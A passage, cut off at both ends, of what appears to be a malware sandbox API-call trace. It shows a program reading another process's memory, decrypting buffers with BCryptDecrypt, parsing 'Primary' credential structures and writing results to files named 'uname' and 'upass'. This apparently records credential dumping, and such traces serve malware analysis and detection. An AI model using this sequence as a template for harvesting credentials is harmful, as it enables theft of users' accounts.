lpBuffer=0x1d0460, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0460*, lpNumberOfBytesRead=0x0) returned 1 [0062.511] IsTextUnicode (in: lpv=0x1d0460, iSize=18, lpiResult=0x12fa00 | out: lpiResult=0x12fa00) returned 1 [0062.511] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0440 [0062.511] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4295a0, lpBuffer=0x1d0440, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0440*, lpNumberOfBytesRead=0x0) returned 1 [0062.511] BCryptDecrypt (in: hKey=0x1ec320, pbInput=0x1d0440, cbInput=0x18, pPaddingInfo=0x0, pbIV=0x12f9d8, cbIV=0x8, pbOutput=0x1d0440, cbOutput=0x18, pcbResult=0x12fa08, dwFlags=0x0 | out: hKey=0x1ec320, pbIV=0x12f9d8, pbOutput=0x1d0440, pcbResult=0x12fa08) returned 0x0 [0062.511] IsTextUnicode (in: lpv=0x1d0440, iSize=18, lpiResult=0x12fa00 | out: lpiResult=0x12fa00) returned 1 [0062.511] GetLastError () returned 0x0 [0062.511] SetLastError (dwErrCode=0x0) [0062.511] GetLastError () returned 0x0 [0062.511] SetLastError (dwErrCode=0x0) [0062.511] GetLastError () returned 0x0 [0062.511] SetLastError (dwErrCode=0x0) [0062.511] AreFileApisANSI () returned 1 [0062.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfaf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0062.511] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x32) returned 0x1eb540 [0062.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfaf0, cbMultiByte=-1, lpWideCharStr=0x1eb540, cchWideChar=25 | out: lpWideCharStr="C:\\Users\\All Users\\uname") returned 25 [0062.511] CreateFileW (lpFileName="C:\\Users\\All Users\\uname" (normalized: "c:\\users\\all users\\uname"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x12f6e8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0062.513] GetFileType (hFile=0x14c) returned 0x1 [0062.513] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0xffffffffffffffff, lpNewFilePointer=0x12f658, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f658*=21) returned 1 [0062.513] ReadFile (in: hFile=0x14c, lpBuffer=0x12f670, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f658, lpOverlapped=0x0 | out: lpBuffer=0x12f670*, lpNumberOfBytesRead=0x12f658*=0x1, lpOverlapped=0x0) returned 1 [0062.513] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f658, dwMoveMethod=0x0 | out: lpNewFilePointer=0x12f658*=0) returned 1 [0062.514] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1eb540 | out: hHeap=0x1a0000) returned 1 [0062.514] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x1000) returned 0x1e10d0 [0062.514] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f758, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f758*=22) returned 1 [0062.514] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f798, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f798*=22) returned 1 [0062.514] WriteFile (in: hFile=0x14c, lpBuffer=0x12e350*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x12e340, lpOverlapped=0x0 | out: lpBuffer=0x12e350*, lpNumberOfBytesWritten=0x12e340*=0x16, lpOverlapped=0x0) returned 1 [0062.514] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1e10d0 | out: hHeap=0x1a0000) returned 1 [0062.515] CloseHandle (hObject=0x14c) returned 1 [0062.515] GetLastError () returned 0xb7 [0062.515] SetLastError (dwErrCode=0xb7) [0062.515] AreFileApisANSI () returned 1 [0062.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfb10, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0062.515] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x32) returned 0x1eb540 [0062.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfb10, cbMultiByte=-1, lpWideCharStr=0x1eb540, cchWideChar=25 | out: lpWideCharStr="C:\\Users\\All Users\\upass") returned 25 [0062.516] CreateFileW (lpFileName="C:\\Users\\All Users\\upass" (normalized: "c:\\users\\all users\\upass"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x12f6e8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0062.516] GetFileType (hFile=0x14c) returned 0x1 [0062.516] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0xffffffffffffffff, lpNewFilePointer=0x12f658, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f658*=10) returned 1 [0062.516] ReadFile (in: hFile=0x14c, lpBuffer=0x12f670, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f658, lpOverlapped=0x0 | out: lpBuffer=0x12f670*, lpNumberOfBytesRead=0x12f658*=0x1, lpOverlapped=0x0) returned 1 [0062.516] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f658, dwMoveMethod=0x0 | out: lpNewFilePointer=0x12f658*=0) returned 1 [0062.516] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1eb540 | out: hHeap=0x1a0000) returned 1 [0062.516] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x1000) returned 0x1e10d0 [0062.516] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f758, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f758*=11) returned 1 [0062.516] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f798, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f798*=11) returned 1 [0062.516] WriteFile (in: hFile=0x14c, lpBuffer=0x12e350*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x12e340, lpOverlapped=0x0 | out: lpBuffer=0x12e350*, lpNumberOfBytesWritten=0x12e340*=0xb, lpOverlapped=0x0) returned 1 [0062.516] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1e10d0 | out: hHeap=0x1a0000) returned 1 [0062.516] CloseHandle (hObject=0x14c) returned 1 [0062.517] LocalFree (hMem=0x1eb4c0) returned 0x0 [0062.517] LocalFree (hMem=0x1d0460) returned 0x0 [0062.517] LocalFree (hMem=0x1d0440) returned 0x0 [0062.517] LocalFree (hMem=0x1c91a0) returned 0x0 [0062.517] LocalFree (hMem=0x1c9130) returned 0x0 [0062.522] LocalAlloc (uFlags=0x40, uBytes=0xb4000) returned 0x2300080 [0062.550] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc9a0000, lpBuffer=0x2300080, nSize=0xb4000, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2300080*, lpNumberOfBytesRead=0x0) returned 1 [0062.567] LocalFree (hMem=0x2300080) returned 0x0 [0062.568] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefca0955d, lpBuffer=0x12fc20, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc20*, lpNumberOfBytesRead=0x0) returned 1 [0062.568] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefca42840, lpBuffer=0x12fba0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fba0*, lpNumberOfBytesRead=0x0) returned 1 [0062.568] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e4590, lpBuffer=0x12fae0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fae0*, lpNumberOfBytesRead=0x0) returned 1 [0062.568] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x1ef780 [0062.568] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x407610, lpBuffer=0x1ef780, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef780*, lpNumberOfBytesRead=0x0) returned 1 [0062.568] LocalFree (hMem=0x1ef780) returned 0x0 [0062.568] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e9350, lpBuffer=0x12fa20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa20*, lpNumberOfBytesRead=0x0) returned 1 [0062.568] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x1ef780 [0062.568] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3f8410, lpBuffer=0x1ef780, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef780*, lpNumberOfBytesRead=0x0) returned 1 [0062.568] LocalFree (hMem=0x1ef780) returned 0x0 [0062.568] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4166b0, lpBuffer=0x12fa20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa20*, lpNumberOfBytesRead=0x0) returned 1 [0062.568] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x1ef780 [0062.568] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x41d490, lpBuffer=0x1ef780, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef780*, lpNumberOfBytesRead=0x0) returned 1 [0062.568] LocalFree (hMem=0x1ef780) returned 0x0 [0062.568] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3b6d90, lpBuffer=0x12f960, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12f960*, lpNumberOfBytesRead=0x0) returned 1 [0062.568] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x1ef780 [0062.568] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c3a30, lpBuffer=0x1ef780, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef780*, lpNumberOfBytesRead=0x0) returned 1 [0062.568] LocalFree (hMem=0x1ef780) returned 0x0 [0062.569] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x416830, lpBuffer=0x12f960, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12f960*, lpNumberOfBytesRead=0x0) returned 1 [0062.569] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x1ef780 [0062.569] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x41d8b0, lpBuffer=0x1ef780, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef780*, lpNumberOfBytesRead=0x0) returned 1 [0062.569] LocalFree (hMem=0x1ef780) returned 0x0 [0062.569] LocalAlloc (uFlags=0x40, uBytes=0x138) returned 0x1e10d0 [0062.569] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x41d8b0, lpBuffer=0x1e10d0, nSize=0x138, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1e10d0*, lpNumberOfBytesRead=0x0) returned 1 [0062.569] ConvertSidToStringSidW () returned 0x1 [0062.569] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x1eb4c0 [0062.569] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4167e0, lpBuffer=0x1eb4c0, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eb4c0*, lpNumberOfBytesRead=0x0) returned 1 [0062.569] IsTextUnicode (in: lpv=0x1eb4c0, iSize=40, lpiResult=0x12f920 | out: lpiResult=0x12f920) returned 1 [0062.569] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0440 [0062.569] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4294e0, lpBuffer=0x1d0440, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0440*, lpNumberOfBytesRead=0x0) returned 1 [0062.569] IsTextUnicode (in: lpv=0x1d0440, iSize=18, lpiResult=0x12f920 | out: lpiResult=0x12f920) returned 1 [0062.569] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0460 [0062.569] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x429500, lpBuffer=0x1d0460, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0460*, lpNumberOfBytesRead=0x0) returned 1 [0062.569] BCryptDecrypt (in: hKey=0x1ec320, pbInput=0x1d0460, cbInput=0x18, pPaddingInfo=0x0, pbIV=0x12f8f8, cbIV=0x8, pbOutput=0x1d0460, cbOutput=0x18, pcbResult=0x12f928, dwFlags=0x0 | out: hKey=0x1ec320, pbIV=0x12f8f8, pbOutput=0x1d0460, pcbResult=0x12f928) returned 0x0 [0062.569] IsTextUnicode (in: lpv=0x1d0460, iSize=18, lpiResult=0x12f920 | out: lpiResult=0x12f920) returned 1 [0062.569] GetLastError () returned 0x0 [0062.569] SetLastError (dwErrCode=0x0) [0062.569] GetLastError () returned 0x0 [0062.569] SetLastError (dwErrCode=0x0) [0062.569] GetLastError () returned 0x0 [0062.569] SetLastError (dwErrCode=0x0) [0062.569] AreFileApisANSI () returned 1 [0062.570] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfaf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0062.570] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x32) returned 0x1eb540 [0062.570] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfaf0, cbMultiByte=-1, lpWideCharStr=0x1eb540, cchWideChar=25 | out: lpWideCharStr="C:\\Users\\All Users\\uname") returned 25 [0062.570] CreateFileW (lpFileName="C:\\Users\\All Users\\uname" (normalized: "c:\\users\\all users\\uname"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x12f608, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0062.573] GetFileType (hFile=0x14c) returned 0x1 [0062.573] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0xffffffffffffffff, lpNewFilePointer=0x12f578, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f578*=43) returned 1 [0062.573] ReadFile (in: hFile=0x14c, lpBuffer=0x12f590, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f578, lpOverlapped=0x0 | out: lpBuffer=0x12f590*, lpNumberOfBytesRead=0x12f578*=0x1, lpOverlapped=0x0) returned 1 [0062.574] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f578, dwMoveMethod=0x0 | out: lpNewFilePointer=0x12f578*=0) returned 1 [0062.574] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1eb540 | out: hHeap=0x1a0000) returned 1 [0062.574] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x1000) returned 0x1e1210 [0062.574] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f678, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f678*=44) returned 1 [0062.574] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f6b8, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f6b8*=44) returned 1 [0062.574] WriteFile (in: hFile=0x14c, lpBuffer=0x12e270*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x12e260, lpOverlapped=0x0 | out: lpBuffer=0x12e270*, lpNumberOfBytesWritten=0x12e260*=0x16, lpOverlapped=0x0) returned 1 [0062.574] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1e1210 | out: hHeap=0x1a0000) returned 1 [0062.574] CloseHandle (hObject=0x14c) returned 1 [0062.575] GetLastError () returned 0xb7 [0062.575] SetLastError (dwErrCode=0xb7) [0062.575] AreFileApisANSI () returned 1 [0062.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfb10, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0062.575] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x32) returned 0x1eb540 [0062.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfb10, cbMultiByte=-1, lpWideCharStr=0x1eb540, cchWideChar=25 | out: lpWideCharStr="C:\\Users\\All Users\\upass") returned 25 [0062.576] CreateFileW (lpFileName="C:\\Users\\All Users\\upass" (normalized: "c:\\users\\all users\\upass"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x12f608, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0062.576] GetFileType (hFile=0x14c) returned 0x1 [0062.576] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0xffffffffffffffff, lpNewFilePointer=0x12f578, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f578*=21) returned 1 [0062.576] ReadFile (in: hFile=0x14c, lpBuffer=0x12f590, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f578, lpOverlapped=0x0 | out: lpBuffer=0x12f590*, lpNumberOfBytesRead=0x12f578*=0x1, lpOverlapped=0x0) returned 1 [0062.576] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f578, dwMoveMethod=0x0 | out: lpNewFilePointer=0x12f578*=0) returned 1 [0062.576] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1eb540 | out: hHeap=0x1a0000) returned 1 [0062.576] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x1000) returned 0x1e1210 [0062.576] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f678, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f678*=22) returned 1 [0062.576] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f6b8, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f6b8*=22) returned 1 [0062.576] WriteFile (in: hFile=0x14c, lpBuffer=0x12e270*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x12e260, lpOverlapped=0x0 | out: lpBuffer=0x12e270*, lpNumberOfBytesWritten=0x12e260*=0xb, lpOverlapped=0x0) returned 1 [0062.576] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1e1210 | out: hHeap=0x1a0000) returned 1 [0062.576] CloseHandle (hObject=0x14c) returned 1 [0062.577] LocalFree (hMem=0x1eb4c0) returned 0x0 [0062.577] LocalFree (hMem=0x1d0440) returned 0x0 [0062.577] LocalFree (hMem=0x1d0460) returned 0x0 [0062.577] LocalFree (hMem=0x1c91a0) returned 0x0 [0062.577] LocalFree (hMem=0x1e10d0) returned 0x0 [0062.577] LocalAlloc (uFlags=0x40, uBytes=0x51000) returned 0x1f0750 [0062.580] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc8b0000, lpBuffer=0x1f0750, nSize=0x51000, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1f0750*, lpNumberOfBytesRead=0x0) returned 1 [0062.589] LocalFree (hMem=0x1f0750) returned 0x0 [0062.589] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc8b23e0, lpBuffer=0x12fc20, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc20*, lpNumberOfBytesRead=0x0) returned 1 [0062.589] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc8f78d0, lpBuffer=0x12fc80, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.589] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4199c0, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.589] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419f70, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.589] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419d00, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.589] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419b60, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.589] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419750, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.589] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419340, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.589] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4190d0, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.589] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x406b90, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.590] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3a3470, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.590] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x396cf0, lpBuffer=0x12fc90, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc90*, lpNumberOfBytesRead=0x0) returned 1 [0062.590] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x42a230, lpBuffer=0x12fc50, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc50*, lpNumberOfBytesRead=0x0) returned 1 [0062.590] LocalAlloc (uFlags=0x40, uBytes=0xd0) returned 0x1e10d0 [0062.590] LocalFree (hMem=0x1e10d0) returned 0x0 [0062.592] LocalFree (hMem=0x1eb440) returned 0x0 [0062.592] LocalFree (hMem=0x1d0400) returned 0x0 [0062.592] LocalFree (hMem=0x1d0420) returned 0x0 [0062.592] LocalFree (hMem=0x1ee310) returned 0x0 [0062.592] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x409580, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.592] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x1eb440 [0062.592] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x416520, lpBuffer=0x1eb440, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eb440*, lpNumberOfBytesRead=0x0) returned 1 [0062.592] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0420 [0062.592] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x429480, lpBuffer=0x1d0420, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.592] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x1d0400 [0062.592] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4270d0, lpBuffer=0x1d0400, nSize=0x12, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.592] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4270f1, lpBuffer=0x12fd20, nSize=0x1, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fd20*, lpNumberOfBytesRead=0x0) returned 1 [0062.593] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x1ee310 [0062.593] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4270f0, lpBuffer=0x1ee310, nSize=0x1c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee310*, lpNumberOfBytesRead=0x0) returned 1 [0062.593] FileTimeToLocalFileTime (in: lpFileTime=0x12fdc8, lpLocalFileTime=0x12fc98 | out: lpLocalFileTime=0x12fc98) returned 1 [0062.593] FileTimeToSystemTime (in: lpFileTime=0x12fc98, lpSystemTime=0x12fa40 | out: lpSystemTime=0x12fa40) returned 1 [0062.593] GetDateFormatW (in: Locale=0x400, dwFlags=0x0, lpDate=0x12fa40, lpFormat=0x0, lpDateStr=0x12fa50, cchDate=255 | out: lpDateStr="1/8/2020") returned 9 [0062.593] GetTimeFormatW (in: Locale=0x400, dwFlags=0x0, lpTime=0x12fa40, lpFormat=0x0, lpTimeStr=0x12fa50, cchTime=255 | out: lpTimeStr="8:59:28 PM") returned 11 [0062.593] ConvertSidToStringSidW () returned 0x1 [0062.593] LocalFree (hMem=0x1c9130) returned 0x0 [0062.593] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e69a0, lpBuffer=0x12fca0, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fca0*, lpNumberOfBytesRead=0x0) returned 1 [0062.593] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e6e50, lpBuffer=0x12fcb8, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fcb8*, lpNumberOfBytesRead=0x0) returned 1 [0062.593] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x1ef390 [0062.593] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e6e80, lpBuffer=0x1ef390, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef390*, lpNumberOfBytesRead=0x0) returned 1 [0062.593] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x1eded0 [0062.593] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e6e78, lpBuffer=0x1eded0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eded0*, lpNumberOfBytesRead=0x0) returned 1 [0062.593] RtlEqualString (String1="Primary", String2="Primary", CaseInSensitive=0) returned 1 [0062.593] ConvertSidToStringSidW () returned 0x1 [0062.593] BCryptDecrypt (in: hKey=0x1ec320, pbInput=0x1ef390, cbInput=0x98, pPaddingInfo=0x0, pbIV=0x12f978, cbIV=0x8, pbOutput=0x1ef390, cbOutput=0x98, pcbResult=0x12f9a8, dwFlags=0x0 | out: hKey=0x1ec320, pbIV=0x12f978, pbOutput=0x1ef390, pcbResult=0x12f9a8) returned 0x0 [0062.593] LocalFree (hMem=0x1c91a0) returned 0x0 [0062.593] LocalFree (hMem=0x1eded0) returned 0x0 [0062.593] LocalFree (hMem=0x1ef390) returned 0x0 [0062.593] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc674b00, lpBuffer=0x12fbc0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.593] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e6000, lpBuffer=0x12fb00, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fb00*, lpNumberOfBytesRead=0x0) returned 1 [0062.593] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x1c1a60 [0062.593] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x410a80, lpBuffer=0x1c1a60, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1c1a60*, lpNumberOfBytesRead=0x0) returned 1 [0062.594] LocalFree (hMem=0x1c1a60) returned 0x0 [0062.594] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x410b08, lpBuffer=0x12fcf0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fcf0*, lpNumberOfBytesRead=0x0) returned 1 [0062.594] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3ffaf0, lpBuffer=0x12fca0, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fca0*, lpNumberOfBytesRead=0x0) returned 1 [0062.594] ConvertSidToStringSidW () returned 0x1 [0062.594] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0460 [0062.594] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x427190, lpBuffer=0x1d0460, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0460*, 